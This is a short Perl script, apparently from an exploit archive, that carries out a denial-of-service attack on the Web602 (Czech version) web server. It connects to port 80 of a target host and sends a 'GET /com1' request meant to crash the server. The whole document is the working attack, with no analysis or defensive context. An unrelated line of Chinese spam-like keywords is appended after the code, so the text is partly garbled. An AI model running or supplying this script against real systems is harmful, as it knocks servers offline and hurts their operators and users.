#!/usr/bin/perl #qwick script for web602 webserver.. #written by eip aka deadbeat aka AnGrY_SQl use IO::Socket; print "\nWeb602 (czech version) DOS\n"; if (!$ARGV< 0) { print "Usage: perl $0 \n"; } $host = $ARGV[0]; $sox = IO::Socket::INET->new( Proto=>"tcp", PeerPort=>"80", PeerAddr=>$host, ); print "Connected..DOS attempt now;)\n"; print $sox "GET /com1\r\n"; close $sox; print "Done..\n";

亚洲欧美在线